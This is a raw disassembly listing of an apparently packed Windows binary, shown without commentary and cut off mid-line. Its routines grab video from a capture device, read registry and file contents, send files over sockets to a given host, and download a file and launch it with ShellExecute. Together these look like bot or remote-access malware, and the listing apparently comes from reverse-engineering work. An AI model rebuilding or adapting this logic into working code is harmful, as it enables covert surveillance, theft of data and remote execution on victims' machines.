push [ebp+var_4] call dword_4CB000 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF44 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CB000 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CB000 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CB000 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB054 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BD0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEF4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF44 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB000 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF44 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CB000 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF44 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CB000 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF44 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CB000 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF44 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CB000 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF44 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CB000 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF44 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CB000 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF44 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CB000 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF44 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CB000 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF44 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CB000 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF44 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CB000 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB054 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_436224, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_436224 mov esi, offset dword_436230 mov edi, offset dword_437428 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CB014 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAEA4 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293EC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_437424 ; "=" push eax call sub_41C0F4 push offset asc_437424 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF80 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB024 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAFA4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFE4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CB028 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF4C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB03C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 4374A468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22CAD77h, 43D15868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43747468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 3C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0CE89056h, 6A022CADh, 0B1E89064h, 330225B1h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 0BC15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 99C868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 59E89064h, 6A0225B1h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 744068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B03C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0AC49E890h ; --------------------------------------------------------------------------- sub al, 2 loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_4375A4 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAFA4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFD0 test eax, eax jz short loc_415EA6 push offset unk_437580 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF48 push dword ptr [ebp-2Eh] call dword_4CAED4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAFCC test eax, eax jz short loc_415F21 push offset unk_4374A4 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 27109BDh cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437560 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax nop call near ptr 2750CC5h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFE4 push eax call dword_4CAFA0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437548 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF8C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437530 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB038 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_43750C loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB03C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2790000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2710000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFF4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAFBC cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] call near ptr 26609B7h nop push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB030 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374E0 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB03C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB03C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi nop call near ptr 26E0A63h loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_4374C8 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB03C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A63h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 2670A87h nop lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293F4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 27109BDh cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437644 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 26609B7h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_437614 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375F4 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAFBC mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAFA0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFF4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_4374C8 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26E0A63h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_4375C8 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB03C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx call near ptr 26E0A63h nop loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF54 call dword_4CAEA8 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 27109BDh cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437810 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26E0A63h loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi nop call near ptr 26905FEh mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAEB0 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 2700000h nop cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377E8 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377C0 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCE0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437794 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j call near ptr 26905FEh nop sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 26609B7h push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43776C push eax call sub_41B886 push esi loc_416667: ; DATA XREF: Themida_:0055AC7Eo lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437734 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAF10 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437718 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: 